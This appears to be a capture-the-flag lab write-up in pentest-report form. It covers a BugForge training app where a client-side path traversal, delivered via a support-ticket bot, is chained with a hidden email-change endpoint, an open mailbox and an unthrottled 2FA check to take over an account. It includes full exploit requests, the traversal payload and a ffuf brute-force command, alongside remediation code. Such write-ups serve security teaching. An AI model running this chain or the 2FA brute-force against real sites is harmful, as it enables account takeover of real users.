FurHire: Client-Side Path Traversal to Account Takeover
Part 1: Pentest Report
Executive Summary
FurHire is a pet-hiring platform (recruiters post jobs, applicants apply) built on Express with server-rendered pages, page-scoped inline JavaScript, Socket.IO for real-time toasts, and HS256 JWT authentication stored in localStorage. The lab’s stated goal was to demonstrate real impact from a Client-Side Path Traversal (CSPT) rather than just identifying the sink. Testing achieved full account takeover of the privileged support specialist account (pawsitive_hr) by chaining the CSPT against a support-ticket bot, a hidden account-mutation endpoint, an unauthenticated global mailbox, and an unthrottled two-factor verification endpoint.
Testing confirmed four findings:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | CSPT to privileged account takeover (full chain) | Critical | 9.0 | CWE-441, CWE-73 | POST /api/support/tickets |
| F2 | Account email change accepts state-changing input via query string | High | 7.1 | CWE-352 | PUT /api/account |
| F3 | Unauthenticated global mailbox discloses all reset tokens | High | 7.5 | CWE-306 | GET /api/emails |
| F4 | No rate limiting on two-factor verification | High | 8.1 | CWE-307 | POST /api/2fa/verify |
Two latent issues were observed but not used in the chain (a cross-user profile write and client-supplied roles at registration); they are recorded under Additional Observations.
The flag-bearing finding is F1. A Client-Side Path Traversal is common and easy to dismiss as low impact, which is exactly what the lab hint baited. The impact here came from recognizing that the forced request runs in the victim’s browser and its response is never returned to the attacker, so the chain had to be built around a state change rather than a read. Repointing the bot’s account email to a domain the attacker can read (instead of trying to leak it) converted the CSPT into a complete takeover of a more-privileged identity, ending in retrieval of the flag from that account’s session.
Objective
Demonstrate concrete impact arising from a Client-Side Path Traversal in the FurHire application, beyond merely confirming the sink exists.
Scope / Initial Access
# Target Application
URL: https://lab-1781457534265-jn2noq.labs-app.bugforge.io/*
# Auth details
Registration: POST /api/register {role,username,email,full_name,password}
- role is client-supplied via /register?role= (recruiter or user observed)
Login: POST /api/login {username,password}
- returns {token,user} OR {twoFactorRequired:true, pendingId}
Token: HS256 JWT in localStorage 'token'; claims {id,username,role,iat}
Starting privilege: self-registered recruiter (low privilege)
Accounts were self-registered for testing. The starting position is an ordinary low-privilege recruiter; no credentials for the target (the support specialist) were provided.
Reconnaissance: Reading the Frontend Bundles and Sweeping Verbs
The application surface was mapped from the server-rendered pages, their inline JavaScript, and the static bundles under /public/js/ (app.js, invite.js). An OPTIONS Allow-header sweep across every discovered route was used to enumerate methods the frontend does not reference, which surfaced endpoints that exist server-side but are absent from the bundle.
Observations that shaped the test plan:
/inviteloadsinvite.js, which readscompanyId,inviteId, andactionfrom the URL query string and builds a fetch path by direct string concatenation, attaching the caller’s token. This is a CSPT sink (detailed in F1).POST /api/support/ticketsaccepts a relativeurland is processed by a support specialist who visits that path in an authenticated browser. An absolute URL is rejected with400, so the visitor reaches only same-origin paths.GET /api/emailsreturns all mail addressed to*@labs-app.bugforge.iowith no authentication (detailed in F3).POST /api/account/recoveremails a password-reset link to the address on file and responds generically whether or not the address is registered (no account enumeration).- The OPTIONS sweep advertised
PUT /api/account, an endpoint referenced nowhere in the frontend. Testing confirmed it changes the calling account’s own email and honors query-string parameters with no request body (detailed in F2). - The invite-detail endpoint ignores the
companyIdpath segment and resolves invitations byinviteIdalone, confirming the path passed to the API is loosely validated server-side.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Express (X-Powered-By: Express) |
| Frontend | Server-rendered HTML, page-scoped inline JS, static bundles /public/js/app.js and invite.js; Socket.IO for real-time toasts |
| Auth | HS256 JWT in localStorage; claims {id,username,role,iat}; roles recruiter and user |
| Two-factor | 6-digit numeric code, delivered out of band; {pendingId,code} verified at POST /api/2fa/verify |
API Surface (relevant subset)
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
/api/register |
POST | No | role client-supplied via ?role= |
/api/login |
POST | No | Accepts email in the username field; may return {twoFactorRequired,pendingId} |
/api/2fa/verify |
POST | No | {pendingId,code}; no rate limit (F4) |
/api/account/recover |
POST | No | {email}; sends reset link to on-file email; generic response |
/api/account/reset |
POST | No | {token,newPassword}; token is random 32-hex |
/api/account |
PUT | Yes | Hidden (not in bundle); changes caller’s own email; honors query string (F2) |
/api/emails |
GET | No | Global mailbox for *@labs-app.bugforge.io (F3) |
/api/support/tickets |
POST | Yes | {url,description}; support specialist visits a relative url |
/api/companies/{id}/invites/{inviteId} |
GET, PUT | Yes | companyId ignored; PUT accepts (no body); the CSPT sink path |
Known Users
| Username | ID | Role | Notes |
|---|---|---|---|
| pawsitive_hr | 4 | recruiter | “Sarah Johnson”; the support-ticket bot; two-factor enabled; target |
| haxor | 6 | recruiter | self-registered (attacker) |
| haxor-seeker | 7 | user | self-registered (attacker) |
Attack Chain Visualization
┌──────────────────┐ ┌──────────────────┐ ┌──────────────────┐
│ POST /api/support│ │ Bot opens /invite│ │ invite.js concat │
│ /tickets │───▶│ in its own │───▶│ resolves ../ to │
│ url=/invite?... │ │ authenticated │ │ PUT /api/account │
│ ..%2Faccount │ │ session │ │ ?email=<ours> │
└──────────────────┘ └──────────────────┘ └────────┬─────────┘
│ bot email repointed
▼
┌──────────────────┐ ┌──────────────────┐ ┌──────────────────┐
│ GET /api/flag │ │ login as bot → │ │ recover <ours> → │
│ with bot token │◀───│ brute 6-digit │◀───│ read reset link │
│ → FLAG │ │ 2FA (no limit) │ │ in global mailbox│
└──────────────────┘ └──────────────────┘ │ → reset password │
└──────────────────┘
Findings
F1: Client-Side Path Traversal to Privileged Account Takeover
Severity: Critical
CVSS v3.1: 9.0 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)
CWE: CWE-441 (Unintended Proxy or Intermediary ‘Confused Deputy’), CWE-73 (External Control of File Name or Path)
Endpoint: POST /api/support/tickets (delivery) into the /invite page’s invite.js (sink)
Authentication required: Yes (any low-privilege account, to submit the ticket)
Description
invite.js builds an API path by concatenating URL query parameters with no validation, then issues an authenticated fetch to that path:
// /public/js/invite.js (lines 17-36, abridged)
var params = new URLSearchParams(window.location.search);
var companyId = params.get('companyId');
var inviteId = params.get('inviteId');
var action = params.get('action') || 'view';
// Build the invitations API path from the link parameters
var apiPath = '/api/companies/' + companyId + '/invites/' + inviteId;
var method = (action === 'accept') ? 'PUT' : 'GET';
fetch(apiPath, {
method: method,
headers: { 'Content-Type': 'application/json',
'Authorization': 'Bearer ' + token }
});
Because companyId and inviteId are placed into the path unmodified, ../ sequences in those values traverse out of the intended /api/companies/.../invites/... prefix, and a query string smuggled into inviteId rides along into the resolved request. The browser normalizes the relative path before sending. action=accept selects PUT. No request body is sent, and the response is written to the page with textContent, so it is not reflected as HTML and is not returned to the attacker.
Two facts make this exploitable rather than cosmetic:
POST /api/support/ticketscauses a privileged support specialist to open the submitted relative URL in an authenticated browser, so the attacker chooses which path that privileged session requests.- A hidden
PUT /api/account(F2) changes the caller’s own email and reads the value from the query string with no body, which is exactly the shape a no-body forcedPUTcan reach.
Combined, the attacker forces the support specialist’s browser to repoint its own account email to an attacker-controlled address, then takes the account over through the password-recovery flow (F3) and the unthrottled second factor (F4).
Impact
Full takeover of the privileged support specialist account and retrieval of the flag from its session.
Reproduction
Step 1: Submit a support ticket whose relative URL is a traversal payload.
POST /api/support/tickets HTTP/1.1
Host: lab-1781457534265-jn2noq.labs-app.bugforge.io
Authorization: Bearer eyJhbGci...IO1wSfmv (any valid low-privilege token)
Content-Type: application/json
{"url":"/invite?companyId=..&inviteId=..%2Faccount%3Femail%3Dbotpwn-d2%40labs-app.bugforge.io&action=accept","description":"please review this listing"}
HTTP/1.1 200 OK
X-Powered-By: Express
{"message":"Thanks! A support specialist will review this shortly."}
The decoded inviteId is ../account?email=botpwn-d2@labs-app.bugforge.io. When the support specialist’s browser loads /invite, invite.js builds /api/companies/../invites/../account?email=botpwn-d2@labs-app.bugforge.io, which the browser normalizes to PUT /api/account?email=botpwn-d2@labs-app.bugforge.io, sent with the specialist’s own token. This repoints that account’s email. The path resolution was verified out of band with new URL(apiPath, origin) before firing.
Step 2: Trigger a password reset for the repointed email.
POST /api/account/recover HTTP/1.1
Host: lab-1781457534265-jn2noq.labs-app.bugforge.io
Content-Type: application/json
{"email":"botpwn-d2@labs-app.bugforge.io"}
HTTP/1.1 200 OK
{"message":"If that email is registered, a reset link has been sent."}
The reset link is generated for the support specialist’s account, because that account’s email is now botpwn-d2@labs-app.bugforge.io.
Step 3: Read the reset token from the global mailbox (F3).
GET /api/emails HTTP/1.1
Host: lab-1781457534265-jn2noq.labs-app.bugforge.io
HTTP/1.1 200 OK
[{"to":"botpwn-d2@labs-app.bugforge.io","subject":"Reset your FurHire password","body":"...Use this link to choose a new one: /reset?token=2352301a03083741153a2e216ba3be71"}]
Step 4: Set a new password on the support specialist account.
POST /api/account/reset HTTP/1.1
Host: lab-1781457534265-jn2noq.labs-app.bugforge.io
Content-Type: application/json
{"token":"2352301a03083741153a2e216ba3be71","newPassword":"Pwned123!"}
HTTP/1.1 200 OK
{"message":"Password updated. You can now sign in."}
Step 5: Log in as the support specialist (login accepts the email) and clear two-factor by brute force (F4).
POST /api/login HTTP/1.1
Host: lab-1781457534265-jn2noq.labs-app.bugforge.io
Content-Type: application/json
{"username":"botpwn-d2@labs-app.bugforge.io","password":"Pwned123!"}
HTTP/1.1 200 OK
{"twoFactorRequired":true,"pendingId":"230828a25fec4bfe8594cdb0"}
The 6-digit code was brute-forced against POST /api/2fa/verify (see F4). The successful verification returns the account’s token, user record, and the flag in the same response:
POST /api/2fa/verify HTTP/1.1
Host: lab-1781457534265-jn2noq.labs-app.bugforge.io
Content-Type: application/json
{"pendingId":"230828a25fec4bfe8594cdb0","code":"277266"}
HTTP/1.1 200 OK
{"token":"eyJhbGci...WMtprkU","user":{"id":4,"username":"pawsitive_hr","email":"botpwn-d2@labs-app.bugforge.io","full_name":"bug{520M3i6yV6ypxWeAaOkFssuosTLXxbjA}","role":"recruiter"},"flag":"bug{520M3i6yV6ypxWeAaOkFssuosTLXxbjA}"}
Step 6: Confirm access with the recovered token.
GET /api/flag HTTP/1.1
Host: lab-1781457534265-jn2noq.labs-app.bugforge.io
Authorization: Bearer eyJhbGci...WMtprkU
HTTP/1.1 200 OK
{"flag":"bug{520M3i6yV6ypxWeAaOkFssuosTLXxbjA}"}
Remediation
Fix 1: Do not build API paths by concatenating untrusted parameters. Use them as data, not as path segments.
// BEFORE (vulnerable)
var apiPath = '/api/companies/' + companyId + '/invites/' + inviteId;
fetch(apiPath, { method: action === 'accept' ? 'PUT' : 'GET', ... });
// AFTER (secure)
// Validate the shape, encode each segment, and reject traversal.
if (!/^[0-9]+$/.test(companyId) || !/^[a-f0-9]{32}$/.test(inviteId)) {
show('This invitation link is invalid.', false);
return;
}
var apiPath = '/api/companies/' + encodeURIComponent(companyId) +
'/invites/' + encodeURIComponent(inviteId);
fetch(apiPath, { method: action === 'accept' ? 'PUT' : 'GET', ... });
Fix 2: Constrain what the support-ticket visitor will load. Restrict the visited url to a known set of safe routes (for example, only /jobs/{id}), reject anything containing .. or a query string before the visit, and do not visit arbitrary application paths with a privileged session.
Additional recommendations:
- Treat any frontend that assembles request paths from user input as a request-forgery surface and review it accordingly.
- Have the privileged visitor operate with the minimum privilege needed to triage a ticket, not a full support specialist session.
F2: Account Email Change Accepts State-Changing Input via the Query String
Severity: High
CVSS v3.1: 7.1 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N)
CWE: CWE-352 (Cross-Site Request Forgery)
Endpoint: PUT /api/account
Authentication required: Yes
Description
PUT /api/account changes the calling account’s own email address. It accepts the new value from the query string and requires no request body, so the entire state-changing operation can be expressed as PUT /api/account?email=<value>. The endpoint is not referenced anywhere in the frontend and was found through the OPTIONS Allow-header sweep. Because the change needs no body and carries its only input in the URL, it is reachable by any forced request that can choose a path and method, including the CSPT sink in F1. The endpoint changes only the JWT owner’s record; a user_id value was not honored here.
Impact
Allows an account’s email address to be changed by a forged request, which is sufficient to seize the account through the password-recovery flow.
Reproduction
Step 1: Confirm the method exists.
OPTIONS /api/account HTTP/1.1
Host: lab-1781457534265-jn2noq.labs-app.bugforge.io
Response advertised Allow: PUT.
Step 2: Change the caller’s own email with no body, value in the query string.
PUT /api/account?email=attacker@labs-app.bugforge.io HTTP/1.1
Host: lab-1781457534265-jn2noq.labs-app.bugforge.io
Authorization: Bearer <caller token>
The caller’s account email changed to the supplied value. A subsequent GET /api/profile reflected the new address.
Remediation
Fix 1: Require state changes to arrive in the request body, and ignore query-string parameters for mutations.
// BEFORE (vulnerable): query string is honored for a state change
app.put('/api/account', auth, (req, res) => {
const email = req.body.email || req.query.email; // query honored
updateEmail(req.user.id, email);
res.json({ message: 'Updated' });
});
// AFTER (secure): body-only, with CSRF defenses
app.put('/api/account', auth, csrfProtection, (req, res) => {
const { email } = req.body; // body only
if (!isValidEmail(email)) return res.status(400).json({ error: 'Invalid email' });
updateEmail(req.user.id, email);
res.json({ message: 'Updated' });
});
Additional recommendations:
- Require re-authentication or confirmation to the existing address before an email change takes effect.
- Apply anti-CSRF tokens (or
SameSitecookies plus origin checks) to all state-changing endpoints.
F3: Unauthenticated Global Mailbox Discloses All Reset Tokens
Severity: High
CVSS v3.1: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CWE: CWE-306 (Missing Authentication for Critical Function)
Endpoint: GET /api/emails
Authentication required: No
Description
GET /api/emails returns, without any authentication, every message sent to an address in the labs-app.bugforge.io domain, including password-reset emails and their tokens. Any party can read mail intended for any account whose on-file email is in that domain. Combined with the email-change endpoint (F2), an attacker can move a target account’s email into this readable domain and then read that account’s reset token directly.
Impact
Discloses password-reset tokens for any account using the labs-app.bugforge.io domain, enabling takeover of those accounts.
Reproduction
GET /api/emails HTTP/1.1
Host: lab-1781457534265-jn2noq.labs-app.bugforge.io
HTTP/1.1 200 OK
[{"to":"botpwn-d2@labs-app.bugforge.io","subject":"Reset your FurHire password","body":"...link: /reset?token=2352301a03083741153a2e216ba3be71"}]
No Authorization header was sent; the full reset token was returned.
Remediation
Fix 1: Authenticate the mailbox and scope it to the requesting account.
// BEFORE (vulnerable): returns all mail, no auth
app.get('/api/emails', (req, res) => {
res.json(getAllEmails());
});
// AFTER (secure): authenticated, scoped to the caller
app.get('/api/emails', auth, (req, res) => {
res.json(getEmailsForUser(req.user.id));
});
Additional recommendations:
- Never expose a shared inbox of system mail (reset links, invitations) over an API.
- Make reset tokens single-use and short-lived so that exposure has a narrow window.
F4: No Rate Limiting on Two-Factor Verification
Severity: High
CVSS v3.1: 8.1 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
CWE: CWE-307 (Improper Restriction of Excessive Authentication Attempts)
Endpoint: POST /api/2fa/verify
Authentication required: First-factor credentials (password) required to obtain a pendingId
Description
After a successful first-factor login for an account with two-factor enabled, POST /api/login returns {twoFactorRequired:true, pendingId}. The second factor is a 6-digit numeric code verified at POST /api/2fa/verify, which applies no rate limiting or attempt cap, so the entire 000000-999999 space is brute-forceable. The pendingId remained valid across the brute-force run. The successful verification response also returns the account token (and, in this engagement, the flag), so the winning code must be captured in the same run because verification consumes the login attempt.
During post-exploitation review the same code (277266) was returned for two separate logins of the target account, indicating the code did not rotate between logins. A non-rotating code can be reused on later logins once recovered.
Impact
Defeats the second authentication factor by brute force, completing account takeover when the first factor is already known.
Reproduction
Step 1: Obtain a pendingId from a first-factor login.
POST /api/login HTTP/1.1
Content-Type: application/json
{"username":"botpwn-d2@labs-app.bugforge.io","password":"Pwned123!"}
HTTP/1.1 200 OK
{"twoFactorRequired":true,"pendingId":"230828a25fec4bfe8594cdb0"}
Step 2: Brute-force the 6-digit code, capturing the success body.
ffuf -u https://lab-1781457534265-jn2noq.labs-app.bugforge.io/api/2fa/verify \
-X POST -H "Content-Type: application/json" \
-d '{"pendingId":"230828a25fec4bfe8594cdb0","code":"FUZZ"}' \
-w otp-wordlist.txt -mc 200 -t 250 -od captured/
The matching code returned 200 with the account token and flag:
HTTP/1.1 200 OK
{"token":"eyJhbGci...WMtprkU","user":{"id":4,"username":"pawsitive_hr",...},"flag":"bug{520M3i6yV6ypxWeAaOkFssuosTLXxbjA}"}
Remediation
Fix 1: Cap and throttle verification attempts per pendingId and per account.
// BEFORE (vulnerable): unlimited attempts
app.post('/api/2fa/verify', (req, res) => {
const { pendingId, code } = req.body;
if (code === codeFor(pendingId)) return res.json(issueSession(pendingId));
res.status(400).json({ error: 'Invalid verification code' });
});
// AFTER (secure): bounded attempts, invalidate on exhaustion
app.post('/api/2fa/verify', rateLimit2fa, (req, res) => {
const { pendingId, code } = req.body;
const attempts = incrementAttempts(pendingId);
if (attempts > 5) { invalidatePending(pendingId); return res.status(429).json({ error: 'Too many attempts' }); }
if (code === codeFor(pendingId)) { clearAttempts(pendingId); return res.json(issueSession(pendingId)); }
res.status(400).json({ error: 'Invalid verification code' });
});
Additional recommendations:
- Expire the
pendingIdafter a small number of attempts and a short time window. - Generate a fresh random code on every login and invalidate it after a single use or expiry.
Additional Observations (not exploited)
- Medium: cross-user profile write on
PUT /api/profile. Auser_idfield in the request body writes another user’s profile (bio, location, skills). It does not reach the account email, so it was not part of the takeover chain. Maps to a mass-assignment / insecure direct object reference pattern. - Low: client-supplied role at registration.
POST /api/registerhonors arolevalue from?role=, allowing self-registration asrecruiter. - Low:
companyIdignored on invite lookup.GET/PUT /api/companies/{id}/invites/{inviteId}resolves byinviteIdalone, so the company segment in the path is decorative.
OWASP Top 10 Coverage
- A01:2021 Broken Access Control: the global mailbox (F3) returns other accounts’ mail without authentication; the support-ticket visitor is induced to act as a confused deputy (F1); the invite endpoint ignores the company segment.
- A07:2021 Identification and Authentication Failures: the second factor can be brute-forced because verification is unthrottled, and the code did not rotate between logins (F4).
- A04:2021 Insecure Design: a shared, unauthenticated inbox of system mail and an email change reachable without re-authentication or body confirmation are design-level weaknesses that make the chain possible (F2, F3).
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Proxy and request replay for the support-ticket delivery and chain steps |
| ffuf | Brute-forcing the 6-digit two-factor code, capturing the success body with -od |
Node new URL() |
Previewing how invite.js would resolve the concatenated path before firing it |
| curl / CLI | Reproducing the recover, mailbox read, reset, login, and flag requests |
| OPTIONS sweep | Enumerating hidden verbs and endpoints (surfaced PUT /api/account) |
References
- CWE-441: Unintended Proxy or Intermediary (‘Confused Deputy’). https://cwe.mitre.org/data/definitions/441.html
- CWE-73: External Control of File Name or Path. https://cwe.mitre.org/data/definitions/73.html
- CWE-352: Cross-Site Request Forgery. https://cwe.mitre.org/data/definitions/352.html
- CWE-306: Missing Authentication for Critical Function. https://cwe.mitre.org/data/definitions/306.html
- CWE-307: Improper Restriction of Excessive Authentication Attempts. https://cwe.mitre.org/data/definitions/307.html
- OWASP Top 10 (2021): A01, A04, A07. https://owasp.org/Top10/
Part 2: Notes / Knowledge
Key Learnings
-
A Client-Side Path Traversal is only as impactful as the gadget you can reach, and you never see the response, so build the chain around a state change, not a read. A frontend that assembles a fetch path out of URL parameters is common and usually written off as low severity. To find the impact, reason from the constraint: the forced request runs in the victim’s browser with the victim’s authentication, and its response never comes back to you. The useful outcomes are therefore writes whose effect either escalates your own account or deposits a privileged value into a channel you can already read. Pair the sink with a delivery vector that puts a privileged identity behind it (a support bot that visits the submitted link, an admin who opens a notification), then enumerate the same-origin endpoints that identity is allowed to mutate. The bot’s only advantage over you is authorization, so the target is whatever it can write that you cannot.
-
The gadget you want is a self-account-mutation endpoint that reads the query string; repoint the victim’s identity rather than trying to leak it. A forced request carrying no body still carries a query string, so an endpoint that updates the caller’s own email, password, or role from
req.queryconverts that request into account takeover. And when the victim’s email or phone is unknowable, overwrite it with a domain or number you control and run the standard password-recovery flow, instead of burning sessions trying to exfiltrate the original value.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
| Force the bot to accept an invitation in our company as the impact | Invites flipped to accepted, but the invite object shows the invited email, not the accepter, and no mail was sent | No accepter identity leaks, so the forced action produced no usable signal about the bot |
| Enumerate company member / team / staff endpoints to leak the bot’s identity | /api/companies/{id} and /members, /team, /staff, /users, etc. all 404 |
No member roster exists anywhere; only /invites is present |
| Predict or forge the password-reset token | Two recovers for the same email returned different 32-hex tokens | Tokens are randomly generated per request, not derived from the email |
Bypass the second factor with a malformed code (array, number, null, $ne, $gt, $regex) |
All returned “Invalid verification code” | Strict string equality on the code; type-confusion did not apply |
Change the account email via PUT /api/profile |
email in the profile body was ignored for the account email |
Profile and account email are separate; only PUT /api/account reaches the account email |
Recover guessable privileged addresses directly (support@, testing@labs-app) |
No mail appeared in the mailbox | Those addresses are not registered; no privileged labs-app address is guessable, which is why repointing was necessary |
| Point the support ticket at an external URL (webhook.site) | 400 “provide the path of the page” |
The visitor follows relative paths only; no external request is made |
Tags: #cspt #client-side-path-traversal #account-takeover #csrf #2fa-bypass #bugforge #webapp
Document Version: 1.0
Last Updated: 2026-06-15